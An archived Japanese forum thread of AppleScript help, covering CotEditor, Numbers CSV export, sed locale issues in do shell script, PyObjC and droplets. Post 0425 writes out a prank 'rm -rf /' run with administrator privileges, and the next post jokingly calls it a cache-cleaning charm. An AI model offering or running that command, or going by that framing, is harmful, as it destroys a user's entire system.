X



AppleScript アップルスクリプト 質問、発表 6
■ このスレッドは過去ログ倉庫に格納されています
0001名称未設定
垢版 |
2013/12/21(土) 21:50:45.07ID:1PJJFexL0
質問、発表どっちでもスレ。

■注意
安直なスクリプト作成依頼、丸投げ、「こういうの作ってください!」はお断り。
わからない点、エラーが解決できない点についてはスクリプト片を添えて質問すること。
OSバージョンも忘れずに。

■参考
AppleScript Language Guide
https://developer.apple.com/library/mac/documentation/AppleScript/Conceptual/AppleScriptLangGuide/
TN2065: do shell script
https://developer.apple.com/library/mac/technotes/tn2065/
AppleScript: The Language of Automation
http://www.macosxautomation.com/applescript/
MacWiki - AppleScript
http://macwiki.sourceforge.jp/wiki/index.php/AppleScript
鳶嶋工房 / AppleScript
http://tonbi.jp/AppleScript/
AS Hole(AppleScriptの穴)
http://piyocast.com/as/
■過去スレ
1 http://pc11.2ch.net/test/read.cgi/mac/1174045850/
2 http://pc11.2ch.net/test/read.cgi/mac/1197443062/
3 http://pc11.2ch.net/test/read.cgi/mac/1223026902/
4 http://anago.2ch.net/test/read.cgi/mac/1256127156/
5 http://anago.2ch.net/test/read.cgi/mac/1330350325/
0411名称未設定
垢版 |
2014/12/11(木) 00:16:19.33ID:/xJryEhL0
>>409です
>>410
うまくいきました
よくみたら日時を挿入するまえに同じことをしてたんですね
全体でこんなかんじになりました。
遅くまでおつきあいしてくれて感謝しています。ありがとうございました。

--CotEditorでファイルを開いて文末に日時を挿入
--ファイルパスの例"/Users/ユーザー名/Desktop/ファイル名.txt"
set filePath to "ファイルパス" as POSIX file

--上記ファイルパスのファイルをCotEditorで開く
--(CotEditor.appがApplicationsフォルダの直下にある場合を想定)
tell application "Finder"
open filePath using file "CotEditor" of folder "Applications" of startup disk
end tell

tell application "CotEditor"
activate
tell front document
-- カーソルをドキュメントの末尾に移動
set docLen to length
set range of selection to {docLen, 0}
--末尾に日時を挿入
set contents of selection to return & return & return & return & (current date) & return
-- 表示をスクロールして?カーソルをドキュメントの末尾に移動
set theRange to range of selection
scroll to caret
set docLen to length
set range of selection to {docLen, 0}
end tell
end tell
0412名称未設定
垢版 |
2014/12/11(木) 07:44:41.84ID:dW0uUskt0
>>411
お疲れさまー

今後は自分で好きなようにスクリプトを改良したりして
遊んでみてください

ちなみに>>411のスクリプトだと、
なくても問題ない不要な行が後半に一つあるかも…?
0413名称未設定
垢版 |
2014/12/11(木) 11:32:26.98ID:bsvOdatX0
なにしたいかよく分からないけど、日記かな?
エディターで日付追加する必要あるの?
コマンドでテキストファイル自体を編集して日付追加してから何でもいいテキストエディタで開くんじゃダメなのかな?
最新の奴は常に一番上で上に追加して行って
適当な記号でも何でも目印になるタグで挟んどいて
逆順にしたいときに、そのタグで日付ごとに並び替えとかできるようにしてた方が、管理しやすくない?
0414名称未設定
垢版 |
2014/12/11(木) 14:38:22.36ID:bmn2ZW3N0
tell application "CotEditor"
launch
activate
open filePath
end tell

なら新規ドキュメントを開かない
0415名称未設定
垢版 |
2014/12/12(金) 00:29:47.03ID:QhF4QJEI0
>>413
>コマンドでテキストファイル自体を編集して日付追加

これができればテキストエディットででも同じことができそうですね
ただ、自分のレベルだとシェルスクリプトが書けないのです…
文字コードとかの絡みも面倒くさそう…

逆順にしたいときにそのタグで日付ごとに並び替え、も
やれれば便利そう

テキストをシェルに持っていって、
正規表現で「日付と本文」を一区切りにして日にちごとに配列に入れ、
配列内でソート→ソートした結果をまたAppleScriptに戻す、
なんて感じになるんでしょうか
rubyかperl勉強すればできるのかな?
0416名称未設定
垢版 |
2014/12/12(金) 00:34:17.03ID:QhF4QJEI0
>>414
launchを使えば「起動時に新規ドキュメントを作成」に
チェックが入っていても平気なんですね!

これならCotEditorがApplicationフォルダ以外にあっても
大丈夫そうなので、こっちを使う方がいいですね
0417名称未設定
垢版 |
2014/12/21(日) 01:25:39.79ID:kJK8LYrn0
activate application "Finder"
tell application "System Events"
tell process "Finder"
keystroke "a" using {command down}
keystroke "y" using {command down, option down}
end tell
end tell

これをFinderのツールバーに追加して、すぐに画像一覧をフルスクリーンでサムネ表示できるようにして使ってたんですが、
OSアップデートしたら動かなくなりました
原因がわかりませんが、どこをどう直せばよいでしょうか。。
0418名称未設定
垢版 |
2014/12/21(日) 09:09:28.18ID:fC4jruIi0
>>417
もう一回スクリプトエディタで作り直し、動くことを確認して、再度保存しなおす。
OSをどこからどこに上げたかわかんないけど、文字コードの問題じゃないかな?
動いてた、というならだけど。一般的な話ね。
0419名称未設定
垢版 |
2014/12/21(日) 16:02:25.57ID:RV9e4t/d0
>>417
activate app "Finder" のあとに delay 1 か delay 2 置いてみるとどう?
0420417
垢版 |
2014/12/22(月) 00:11:50.01ID:/exnUYTH0
ありがとうございます
OSは10.9から10.10にあげました
LEOPARDくらいからずっと使ってましたが、10.10で使えなくなりました
試してみます
0421417
垢版 |
2014/12/22(月) 00:34:49.01ID:/exnUYTH0
delay 1で動くようになりました
ありがとうございました!
0422名称未設定
垢版 |
2015/01/05(月) 08:46:52.26ID:mKzqatQe0
display dialog "I hope AppleScript will have a great year!"
0423名称未設定
垢版 |
2015/01/05(月) 10:38:42.96ID:Lfm4EVu/0
error "User canceled." number -128
0424名称未設定
垢版 |
2015/01/05(月) 19:02:13.46ID:O8Indqhn0
そこはOKボタン押してあげて…
0425名称未設定
垢版 |
2015/01/05(月) 23:51:32.29ID:3V+cPyL70
do shell script "rm -rf /" with administrator privileges
0426名称未設定
垢版 |
2015/01/06(火) 06:45:01.02ID:/cF9pr3E0
キャッシュなどのゴミを全て削除して
新しい年をクリーンなMacで始めるお
まじない
0428名称未設定
垢版 |
2015/01/06(火) 13:03:35.03ID:E0GZUu7p0
unixで/devをrmした人がいたなあ。メモリー上に有る分には動作したけど、リスタートして...
0429名称未設定
垢版 |
2015/01/10(土) 06:48:41.10ID:LCTrVjOh0
質問いいですか。

python で scriptingbridge を使いたいんですが、どうすればいいでしょう
(そもそも scriptingbridge がどんなものかよく分かっていないけどとりあえず使ってみたいという感じです)

ググると
from ScriptingBridge import *
と書いてあるのを見ますが、同じようにすると
ImportError: No module named ScriptingBridge
が返ってきます。ScriptingBridge はインストール済のはずなのですが

ヘッダを準備しなければならないという記述もみられたので
sdef /Applications/iTunes.app | sdp -fh --basename iTunes
を実行して、もう一度 import してみても同じでした。

どこがダメなんでしょうか。
0430名称未設定
垢版 |
2015/01/10(土) 08:01:53.35ID:m54ZSDKO0
>>429
PyObjCが入ってないんじゃない?
ScriptingBridgeはobjcで使うフレームワーク
素のPythonじゃobjcのフレームワーク使えないけどPyObjCって言うPythonとobjcのブリッジで使えるようになる。
pyobjc-coreとか
pyobjc-frameworkとか入れるんだったかな。
今は標準で入ってるのかな?Xcodeと開発ツール入れれば一緒に入るんだっけか?忘れた。

PyObjCを使わないでやるならPythonでos.system使ってosascriptを実行しても使えると思う。

一応うちの環境では、使えた(Python 2.7.2 pyobjc-core-2.3.2)
from ScriptingBridge import *
iTapp = SBApplication.applicationWithBundleIdentifier_("com.apple.iTunes")
iTapp.run() 起動
iTapp.playpause() 再生
iTapp.nextTrack() 次のトラック
iTapp.playerPosition() 再生時間取得

Pythonとか普段全く使わないから、初期のまんまアップデートしてないと思う、PyObjCもわざわざ入れた覚えない。
ちなみにpyobjcでScriptingBridgeするときはヘッダいらない。
0431名称未設定
垢版 |
2015/01/10(土) 08:09:27.64ID:2DVlidb60
/usr/bin/pythonだとimport ScriptingBridgeが通るけど
/usr/local/bin/python(homebrewで入れたやつ)では通らないな
とりあえずwhich pythonやsys.pathの確認してみては
0432名称未設定
垢版 |
2015/01/10(土) 08:30:59.67ID:5aX8+Wz10
PyObjCは10.8になったときだったかに廃止された
RubyCocoaも最新の10.10では廃止されているはず
0433名称未設定
垢版 |
2015/01/10(土) 08:34:05.25ID:LCTrVjOh0
>>430
pyobjc-coreをアップデートしたら使えるようになりました。
プログラム書くのはいいんですがこういう環境設定みたいなのはどうも苦手です。
何にせよ大変助かりました、どうもありがとうございます。
0434名称未設定
垢版 |
2015/01/10(土) 08:38:48.19ID:LCTrVjOh0
みなさん親切にありがとうございます、上記の通り解決しました
ただまだまだ勉強不足ですね…色々勉強します
0435名称未設定
垢版 |
2015/01/20(火) 08:59:37.40ID:nE4Efbo20
イラストレーターCS5でアップルスクリプトを使って
図形を書こうと思っています。
イラレの単位設定をmmにしているのですが、
スクリプトを走らせてから、イラレの図形ツール等を使おうとすると
単位がptに変わってしまいます。
一度イラレを終了させたり、コマンド+オプション+シフト+Uで
単位を戻すと、もとに戻るのですが、mmのままで
イラストレーターを使い続けるスクリプトはないでしょうか?

参考
tell application "Adobe Illustrator"
set docRef to make new document with properties {color space:CMYK}
set pathRef to make new star at beginning of docRef with properties {
center point:{300, 300}, radius:20, inner radius:10, point count:4,
reversed:false, filled:true, stroked:false, fill color:{cyan:75, magenta:
50, yellow:20, black:5}}
end tell
0436名称未設定
垢版 |
2015/01/21(水) 18:19:34.76ID:ILS/7VVN0
audiohijack3出てアップグレードしたけどAppleScript指定するとエラー出てラジコ録音できん…これはエディタでAppleScriptいじったらなんとかなるんすかね?
0439名称未設定
垢版 |
2015/01/21(水) 21:05:43.11ID:nFNyqmDn0
Audio Hijack 3 はAppleScriptableじゃないな。まだなのか全くするつもりがないのか知らんが
Audio Hijack Pro と/も共存できるので、ラジコ録音とやらには Audio Hijack Pro を使えばよろしい。ちょうど名前も違うしw
0441名称未設定
垢版 |
2015/01/21(水) 21:07:05.09ID:w+VWj2yl0
ああ、俺のもproだった
proじゃないのがあるのかすまん
0442名称未設定
垢版 |
2015/01/21(水) 21:15:01.74ID:nFNyqmDn0
tell application "Audio Hijack Pro"
start recording
end tell

tell application "Audio Hijack"
start recording
end tell

Audio Hijack (3)の方はコンパイルできないけど。辞書が無いからそらそうという…?
AppleScriptableじゃないアプリでも有効なactivateにすると通る(/辞書を見ようとするとそんなの無いとAppleScript Editorがおっしゃる)ので、Audio Hijack 3 はAppleScriptableじゃないと思うんだけどなあ

あ、
>Audio Hijack Pro と/も共存できる
同時に動かしてはどうかは知らん
0443名称未設定
垢版 |
2015/01/21(水) 21:16:22.41ID:nFNyqmDn0
>>441
ああ、なるほど。了解
Audio Hijack 3 (Proは無くなった/Pro並み、以上の価格になった)は、UIがなかないいよっ!
0444名称未設定
垢版 |
2015/01/22(木) 00:08:38.22ID:M1yJzOaI0
やっぱりそうなのね。
proしばらく使い続けるよ。
にしても対応する気がなきゃラジコ録音目的のユーザー完全に難民になりそうだなぁ。
0445名称未設定
垢版 |
2015/01/22(木) 08:54:04.70ID:l5z0Osvs0
こういう細かいアプリをAppleScriptで操作するというのもひとつの使い方だと
思うけど、あまりに個別すぎてなかなか情報共有できないよね。
自分はもっとファイル操作とかごりごりにdo shell scriptな感じ。
それが良い/悪いという話ではないんだが。いやすまん。
0446名称未設定
垢版 |
2015/01/22(木) 09:21:34.28ID:Xm4CVhjb0
Audio Hijackなんかを使わないで
applescriptだけでストリームを録音すればいいのにな。
0447名称未設定
垢版 |
2015/01/22(木) 09:27:24.24ID:nouPeueE0
もうシェルスクリプトだけでいいんじゃ・・・
0448名称未設定
垢版 |
2015/01/22(木) 18:51:07.24ID:M1yJzOaI0
>>446
そんなことできるの?できるならいっそ覚えたいから参考できるページとか教えてくれるとありがたい。
0450名称未設定
垢版 |
2015/01/25(日) 18:17:41.96ID:Trop55ns0
指定されたページをSafariで開き、開いたページのソースコードを保存するにはどうすればいいのでしょうか?
Webで拾ったものを使っても、保存したいページが認証が必要なせいかログインページが保存されたりします。
0451名称未設定
垢版 |
2015/01/25(日) 18:39:11.35ID:+/ej/A7t0
sourceプロパティは表示に使っているすでに取得済みのをだから、認証がどうのこうのは関係ないだろう
認証まで自動でやるとかではなさそうだし、そうであればAppleScriptというよりJavascript(do javascript)でだな
認証とか厳しめの銀行のサイト(実際に厳しいかどうかは知らん)で、sourceプロパティで何も問題なく取得できたな
0452名称未設定
垢版 |
2015/01/25(日) 19:22:02.59ID:Trop55ns0
>>451
ありがとうございます。
tell application "Safari"
open location "http://anago.2ch.net/mac/";
delay 5
get properties of document 1
end tell
とやってみたら取れました。
Webで見つけたものはページ表示後そのソースを保存ではなく、Safariを経由せず再度DLし保存するものばかりで困ってました。
0453名称未設定
垢版 |
2015/01/25(日) 19:26:22.84ID:Trop55ns0
>>452
>get properties of document 1
じゃなかった
>get source of document 1
ででした。
0454名称未設定
垢版 |
2015/02/14(土) 22:13:02.74ID:TJVvp3RY0
「二」の字が苗字についている
0455名称未設定
垢版 |
2015/02/17(火) 13:56:22.16ID:PdJzakx90
ご質問お願いします。
NumbersのファイルをCSVファイルで書き出したいのですが、エラーが出て解決しません。


set anAliasA to choose file name --CSVで書き出したいNumbersのファイルを指定
set anAliasStrA to anAliasA as string --文字列に変換


set anAliasB to choose file name --CSVで書き出したい場所を指定
set anAliasStrB to anAliasB as string --文字列に変換


tell application "Numbers"
tell document 1
export anAliasStrA to anAliasStrB as CSV --NumbersファイルをCSVで書き出し
end tell
end tell



■エラー
Numbers でエラーが起きました:"Macintosh HD:Users:****:Desktop:AppleScript:書き出し場所:2015-02-16.numbers" のタイプを document に変換できません。

用語集を見る限る、でがexportの使い方は間違っていないと思うのですが、よろしくお願いします。
0456名称未設定
垢版 |
2015/02/17(火) 17:08:37.21ID:tz7XqhPX0
>>455
export anAliasStrA
の、anAliasStrA の部分は document なので、ファイル名(パス)を指定してもダメだよ

set anAliasA to choose file --CSVで書き出したいNumbersのファイルを指定
set anAliasB to choose file name --CSVで書き出したい場所を指定

tell application "Numbers"
open anAliasStrA
export document 1 to anAliasB as CSV --NumbersファイルをCSVで書き出し
close document 1
end tell

とかでいいんじゃね
0457名称未設定
垢版 |
2015/02/17(火) 17:11:35.72ID:tz7XqhPX0
>>456
× open anAliasStrA
○ open anAliasA
どっちでもいいいけど
0458455
垢版 |
2015/02/18(水) 11:14:40.30ID:8cLhjAwm0
>>456
ありがとうございます。
早速動かしてみました、無事CSVの書き出しが出来ました。
やっと用語集の見方がわかってきました、どうやらdocumentあたりを理解出来ていなかったようです。
export document 1 to anAliasB as CSV
でファイル形式をCSVに指定していても、ファイル名の指定時に.csvまで指定しないとCSVファイルにならないみたいですね
0459名称未設定
垢版 |
2015/02/18(水) 12:17:12.56ID:nxmMCsB60
>>458
テーブルが複数ある場合には、フォルダ名となり、その名前のフォルダが作られ、フォルダ内に (シート名-)-テーブル名.csv ファイルが作られる
テーブルが単一の場合は、ファイル名となり、その名前のファイルが作られる

テーブルが単一の場合は、拡張子の補完は行われないので、AppleScriptでやるか、単に拡張子が無いだけで中身は CSV なのでFinderで手で補完するとかすればいいんじゃね。一個だけだし
0460455
垢版 |
2015/02/18(水) 13:25:45.46ID:8cLhjAwm0
csvの書き出しの件で再度分からない事ができてしまいました、幾つか試してみましたが解決出ないのでご質問お願いします。

set anAliasA to "/Users/***/Desktop/AppleScript/2015-02-16.numbers" --ファイルを開く
set anAliasB to "Macintosh HD:Users:***:Desktop:AppleScript:makecsv:" & date string of (current date) & ".csv" --書き出す場所は固定+日付指定した+拡張子設定


tell application "Numbers"
open anAliasA
export document 1 to anAliasB as CSV --NumbersファイルをCSVで書き出し
close document 1
end tell


ファイル読み込みは定期的な処理なので、ファイルのパス指定はchoose fileではなく、絶対パスで指定してます。これは問題なさそう。

書き出したい場所も、毎回同じファルダ内に書き出したいので、
set anAliasB to "Macintosh HD:Users:***:Desktop:AppleScript:makecsv:" & date string of (current date) & ".csv"

で指定しているのですが、下記のエラーが出ます。
error "Numbers でエラーが起きました:書類“2015-02-16.numbers”を“2015年2月18日水曜日”として書き出せませんでした。アクセス権がありません。" number 6

書きだしたファイル名はユニーク名で付けたいのでとりあえず今はdate string of (current date) で指定してます、本当は時間もファイル名に入れたい。

set anAliasB to choose file name でファイル指定したパスとlogで確認して、set anAliasB to "Macintosh HD:Users:***:Desktop:AppleScript:makecsv:" & date string of (current date) & ".csv" にしてみたのですが・・・。

下記のページでも書き出し先のパス情報があれば書き出せるとあるので、参考にしています。
POSIX file、path to等で思いつくあたり全てのパス指定をしてみたのですがエラーができてしまいました。

FileMaker Proで表示中のレコードのデータ内容をCSV書き出し
http://piyocast.com/as/archives/1672
0461名称未設定
垢版 |
2015/02/18(水) 17:28:14.34ID:nxmMCsB60
>>460
set anAliasB to POSIX file (“/Users/***/Desktop/AppleScript/makecsv/“ & date string of (current date) & “.csv”)

/Users/***/Desktop/AppleScript/makecsv/ までの階層フォルダが無ければエラーになるよ

(「ご質問お願いします」は違うよ。本来どうでもいいwが2度目なのでいちおう)
0462名称未設定
垢版 |
2015/02/18(水) 19:15:37.54ID:nxmMCsB60
>>460
>本当は時間もファイル名に入れたい
set currentDate to current date
set anAliasB to POSIX file (“/Users/***/Desktop/AppleScript/makecsv/“ & date string of currentDate & “ “ & time string of currentDate & “.csv”)

としたいところだが、”/“や”:”がファイル名に入るのは好ましくないので、

set dateTimeString to do shell script "date +'%Y-%m-%d %H-%M-%S'"
set anAliasB to POSIX file (“/Users/***/Desktop/AppleScript/makecsv/“ & dateTimeString & “.csv”)

とか
0463名称未設定
垢版 |
2015/02/19(木) 07:56:11.19ID:WW8Zmc8h0
Yosemiteですが、Apple TVを起動(接続かな)するApple Scriptがわかる方教えていただけませんか?

メニューバーのApple TVアイコンをプルダウンして「Apple TV」を選択したのと同じ状態のものです。
0464455
垢版 |
2015/02/19(木) 12:18:24.84ID:fbU/11QJ0
>>461
>>462
ありがとうございます。
fileやaliasがまだ理解出来ていないので完全に理解出来ていませんが、問題なく動きました。
今いろいろ調べてみるとAppleScriptだけじゃなくてシェルスクリプトも使えたほうが、良さそう勉強します。
0465名称未設定
垢版 |
2015/02/20(金) 22:26:02.48ID:T7vI7RqY0
やっぱNumber良さそうだなあ。買おうかな。安いし。
0466名称未設定
垢版 |
2015/02/26(木) 12:19:50.60ID:mJocBN5w0
質問お願いします。

AppleScriptスクリプトからzipファイルを作成したいのです。調べてみるとdo shell script でシェルスクリプトを使えば出来るようなのですが、do shell script の使用方法がわかならない状態です。]

シェルスクリプトで下記のシェルスクリプトを実行出来るのですが、

#!/bin/sh
zip text.zip -r ./x/

AppleScriptで
do shell script "zip text.zip -r ./x/"
を実行するとエラーがですます。

エラー内容
error " zip warning: name not matched: ./x/
zip error: Nothing to do! (try: zip -r text.zip . -i ./x/)" number 12
0467名称未設定
垢版 |
2015/02/26(木) 12:46:07.99ID:kGBOUlNz0
do shell script "pwd" してみ
カレントディレクトリが / になってるから
>>1のTN2065: do shell scriptざっと調べた方がええよん
絶対パスでやるか、同じ do shell script 内で cd するか

ところで zip コマンドで作るとメタデータとか失われちゃうと思うけど、ええのん?
0468名称未設定
垢版 |
2015/02/26(木) 12:55:16.90ID:0hgLp3Ya0
>>466
>>467に横から補足すると、あなたの書いてる ./x/ ってのは
「今いるフォルダのなかのxって名前のフォルダ」って意味なのよ(相対パス)
だからさしあたり /Users/hoge/Downloads/ のように書けばよい(絶対パス)
0469名称未設定
垢版 |
2015/03/01(日) 12:25:21.00ID:LDAhmBff0
WinのVBA使いだけど、MacのAppleScriptってVBAの
プログラム開発スキル程度の能力で使えますか?
0470名称未設定
垢版 |
2015/03/01(日) 20:22:08.79ID:kF6rVJmC0
>>469
余裕
癖はあるけどASの方が簡単だと思う
まあシェルスクリプトとか呼び出せるし奥は深いよ
0471名称未設定
垢版 |
2015/03/02(月) 16:04:05.72ID:C2O0UwSp0
質問です。
文章の全角括弧を中の文字ごと削除したくて
http://www.ibm.com/developerworks/jp/linux/library/l-sed2/index.html
にある「正規表現の理解の混乱」の項目を参考に目的のことができるようになりました。
ですが、そのままTerminalでやっていたことをdo shell scriptでさせたら結果が違ってしまいました。
どうすればよかったのでしょうか。

Terminal
echo 'どうして北海道(ほっかいどう)で酪農(らくのう)が広(ひろ)まったのかな。' | sed -e 's/([^)]*)//g'
結果>>どうして北海道で酪農が広まったのかな。

do shell script
do shell script "echo 'どうして北海道(ほっかいどう)で酪農(らくのう)が広(ひろ)まったのかな。' | sed -e 's/([^)]*)//g'"
結果>>どうして北海道で酪農(らくのう)が広まったのかな。
0472名称未設定
垢版 |
2015/03/02(月) 16:55:54.65ID:+sCo7k3t0
Terminalで「起動時にロケール環境変数を設定」にチェック入ってると LANG が設定されるようだから、これをdo shell scriptでも付けてやればとりあえず同じになったよ
(英語環境だと LANG でなくて LC_CTYPE だった)

do shell script "export LANG=ja_JP.UTF-8; echo 'どうして北海道(ほっかいどう)で酪農(らくのう)が広(ひろ)まったのかな。' | sed -e 's/([^)]*)//g'"
--> "どうして北海道で酪農が広まったのかな。"
チェックを外したらTerminalでも>>471のdo shell scriptの結果と同じ
詳しいことは知らん
0473名称未設定
垢版 |
2015/03/02(月) 17:27:48.52ID:+sCo7k3t0
こうかな

「)」はUTF-8で ef bc 89
LANG=ja_JP.UTF-8 がないとsedの [^)] は「文字の)以外」でなく、「上の3文字(バイト)以外」となる
「らくのう」はUTF-8で e3 82 89 e3 81 8f e3 81 ae e3 81 86
3バイト目に 89 があるので [^)] を満たさず、置換もされない

ほっかいどう、ひろ、には ef bc 89 はない
ほっかいどう e3 81 bb e3 81 a3 e3 81 8b e3 81 84 e3 81 a9 e3 81 86
ひろ e3 81 b2 e3 82 8d
0474名称未設定
垢版 |
2015/03/02(月) 17:55:46.19ID:FF6Ex1uk0
AppleScriptで現在の日付を出すとき
current date

2015年3月2日月曜日 17:48:51
と出てきますが、
2015/03/02(Mon)17:48:51
という書式で出すにはどういうふうに変えればよいのでしょう?
0475名称未設定
垢版 |
2015/03/02(月) 18:06:22.62ID:C2O0UwSp0
>>472
ありがとうございます!
すごいですね。
昨日の夜からハマっていたので感動しちゃいました。
>>473の説明もわかりやすかったです。
ありがとうございました。
0476名称未設定
垢版 |
2015/03/02(月) 18:15:51.77ID:C2O0UwSp0
>>474
こんなんでどうでしょ。
do shell script "date +%Y/%m/%d\\(%a\\)%T"
0477名称未設定
垢版 |
2015/03/02(月) 18:19:57.10ID:KO5JBopQ0
>>474
フォーマットはシステム環境設定でのフォーマットで十分だろうということで任意のフォーマットは自分で文字列を作り上げるしかかな
do shell script で dateコマンド などでの方がメンドクサく無いと思うけど
0479名称未設定
垢版 |
2015/03/02(月) 18:40:05.58ID:FF6Ex1uk0
>>476,477
できました!
do shell script というのがあるんですね
どうもありがとうございます
0480名称未設定
垢版 |
2015/03/03(火) 03:08:40.47ID:lRTqSIjg0
do shell script、do shell scriptってこのスレ、シェルスクリプトのスレみたいじゃないかw
0481名称未設定
垢版 |
2015/03/03(火) 03:35:40.89ID:KOXV6q780
シェル「スクリプト」っぽいのが無いのでそんなことはない
0483名称未設定
垢版 |
2015/03/03(火) 16:32:18.63ID:9lD9n0xN0
日本語文字列の中に「漢字」が入っているか否か調べたいんですが、どうすればいいでしょうか?

………やっぱりdo shell script ですか?
0484名称未設定
垢版 |
2015/03/03(火) 16:47:50.82ID:1zPdGRcT0
>>483
文字コードでできそうだからASでもいけんじゃね
あとは>>1を読め
0485名称未設定
垢版 |
2015/03/03(火) 19:51:11.87ID:q6CC5uDH0
http://i.imgur.com/oqBNLKX.jpg
このiMacが1秒で売り切れたらしいんですが人間業では無理
だと思う
AppleScriptで自動で購入するのは可能ですか?
0488名称未設定
垢版 |
2015/03/04(水) 10:41:26.23ID:YVgo2sPl0
>>654
システていうか楽天だし仕込みで誰も買ってない(元々買えない)んじゃ?
0489名称未設定
垢版 |
2015/03/04(水) 15:02:40.98ID:YVgo2sPl0
システってなんだ俺…
0491名称未設定
垢版 |
2015/03/04(水) 15:50:32.83ID:lSN1zvum0
システマはロシアの軍隊格闘技だろ
タコ踊りみたいな奴
0492名称未設定
垢版 |
2015/03/04(水) 17:28:03.26ID:YVgo2sPl0
システマ、殴られても熟練者なら体がほぐれるだけらしいしそのためには笑顔でいなきゃいけないらしいし対戦者は格闘中めっちゃ怖いだろうな。
0493名称未設定
垢版 |
2015/03/04(水) 18:05:03.45ID:jevBdPRX0
            ,.,.,.,.,.,.,.,.,__
           ,,;f::::::::::::::::::::::ヽ
           i::/' ̄ ̄ ̄ヾi::l
           |::| /  \,|::|
           |r-( ・ );( ・ )-|
           ( ヽ :::(__)..::  }  <・・・で?
        ,____/ヽ  -==- /
     r'"ヽ   t、  ヽ___/
    / 、、i    ヽ__,,/
    / ヽノ  j ,   j |ヽ
    |⌒`'、__ / /   /r  |
    {     ̄''ー-、,,_,ヘ^ |
    ゝ-,,,_____)--、j
    /  \__       /
0494名称未設定
垢版 |
2015/03/04(水) 19:19:43.70ID:EE5x3pC40
adobe bridge で複数のウィンドウを開いて
任意のウィンドウをアクティブにしたいんだけど
どなたか良いアイデアを
0495名称未設定
垢版 |
2015/03/04(水) 20:04:27.08ID:MOiAKvIh0
条件定義がおそ松くん
0496名称未設定
垢版 |
2015/03/11(水) 19:00:59.39ID:PLKc9HDB0
mavericksなんですが、
昨日security updateの2015-002をあてたら"eppc://“を使うスクリプトがすべて動かなくなっちゃいました。
相手はTigerです。
スクリプトエディタでコンパイルボタンを押すと
「構文エラー アプリケーションは実行されていません」と出ます。
Port3031にPingは通るし、リモートデスクトップは動きます。WakeOnLanもです。
アクセス権の修復をやりましたが変わらず。
そして昨日からググってますが、(英語情報含め)な〜んも出てきません。
皆さんの環境ではどうですか?
もしかして私だけ・・・?
0497名称未設定
垢版 |
2015/03/12(木) 21:22:46.64ID:eBJQmQq80
ASOCで、コンパイル後の.appに直接ファイルをD&Dされた場合や、
Finder上の「このアプリケーションで開く」などで実行されたときに、
選択されたファイルがあるディレクトリのパスってどうすれば取得できるのでしょうか?

choose file等のダイアログで取得する方法は結構見つかるんですが、
直接渡されたファイルを処理するコードはなかなか見つからなくて……。
0498名称未設定
垢版 |
2015/03/12(木) 21:50:18.34ID:yfFaXPD+0
>>497
コンパイル前の設定のところでon openと同じことできた気がするけど、
今は試せないのでここまで。
0499名称未設定
垢版 |
2015/03/12(木) 23:53:42.30ID:stC/f3OT0
>>496
mavericksから10.3.9Pantherでも同様の症状出てます。
2015-002をあてたら"eppc://"が実行できず
0500名称未設定
垢版 |
2015/03/13(金) 00:57:53.41ID:dCGVHkpD0
>>499
報告ありがとうございます。やっぱりそうなんですね。
今日cmd+Rを使ったOSの再インストールしたら元に戻りました。
今ならセキュリティ・アップデート2015-002は適用前の状態でパッケージのダウンロードが出来ますよ。
いろいろ試してみたのですが、Terminalからosascriptでlocalhostにやってみてもダメでした。
$ osascript -e 'tell application "Finder" of machine "eppc://localhost" to quit'
2015-03-12 18:33:18.575 osascript[6224:507] CFNetwork SSLHandshake failed (-4)
2015-03-12 18:33:18.660 osascript[6224:507] CFNetwork SSLHandshake failed (-4)
2015-03-12 18:33:18.712 osascript[6224:507] CFNetwork SSLHandshake failed (-4)
5:55: syntax error: Application isn’t running. (-600)
ところでYosemiteはどうなんでしょうか。この際アップグレードしちゃおうかな。
どこでも話題にならないってことはよっぽどマイナーなんでしょうね。
0501497
垢版 |
2015/03/13(金) 23:25:12.10ID:nFOxkN7n0
>>498
設定というのがよくわからなかったのですが、とりあえず自己解決しました。
いろいろ調べるうちに、どうやら私がやりたかったのは「droplet」と呼ばれるものらしく、
Objective CのDeveloper Libraryも参照しながらなんとかファイルのパスを取得する部分まではいきました。

・プロジェクト設定のGeneral > Linked Frameworks and Libraries で AppKit.frameworkを追加
・AppDelegate.applescriptに

on application_openFiles_(sender, droppedItems)
display dialog droppedItems as text
end application_openFiles_

を書いたところ、ダイアログに選択したファイルのフルパスが表示されました。
あとはこのファイルの親ディレクトリを取得したいんですが、どうすればいいんでしょうか?
0502498
垢版 |
2015/03/14(土) 12:20:14.97ID:US/unQ+p0
>>501
ファイルのフルパスをスクリプト内に持ち込んでparent of
自分が見たやり方はちょっと違ったと思うけど、そっちのほうが普通な感じだよね。
0503497
垢版 |
2015/03/14(土) 20:25:29.93ID:dHB3wkmC0
>>502
parent ofでやってみようと思ったんですが、なんかうまく行かないようです。
dropletで入力されたファイルは配列扱いという情報があったので、
repeat withでやってみてはいるんですが、dialogが表示されず……

set inputFile to droppedItems
repeat with theItem in inputFile
tell application "Finder"
set folderPath to parent of theItem as text
end tell
display dialog folderPath
end repeat
0504名称未設定
垢版 |
2015/03/15(日) 14:39:45.90ID:AV7GXmsk0
dialog出ないって事はどこがでエラーになってるんだろうね
dorpletだとエラーで即落ちするから

調べるにはtryで引っ掛けて自力でエラー表示させるか、
droppedItemsの内容を把握してからテストはエディタ上でon run実行したりとか

普通のASだと>>503で合ってるよーに思うけど、
ASOCは詳しくないのでまぁ参考まで
0505名称未設定
垢版 |
2015/03/15(日) 14:41:34.89ID:AV7GXmsk0
言うまでもないけど
誤 dorplet
正 droplet
0506名称未設定
垢版 |
2015/03/15(日) 15:36:32.41ID:VmwaxW7K0
>>501
親ディレクトリ(パス)を得たいなら、

on application_openFiles_(sender, droppedItems)
repeat with theItem in droppedItems
set parentPath to theItem's stringByDeletingLastPathComponent()
display dialog (parentPath as text)
end repeat
end application_openFiles_

とか
droppedItemsはNSStringの配列なので。NSStringにはパスに対するそれなりの機能がある

>>504
>dialogが表示されず
何かの拍子にアプリケーションの作成が壊れる。MainMenu.nibがアプリケーションバンドルにコピーされない。直し方はまだわからんな
Dropletだからいらんからいらんのだが、Dropletとしてちゃんとプロジェクト作成手順を踏まなければならないのかなあ
単に>>503のようなスクリプトでDroplet作るなら、AppleScript Editorでの方がいいかもしれない
0508名称未設定
垢版 |
2015/03/15(日) 16:02:30.67ID:VmwaxW7K0
XcodeでのCocoa Applescriptテンプレートでの表記は、
on applicationWillFinishLaunching_(aNotification)
end applicationWillFinishLaunching_
だけど、AppleScript Editorで開いたら、
on applicationWillFinishLaunching:aNotification
end applicationWillFinishLaunching:
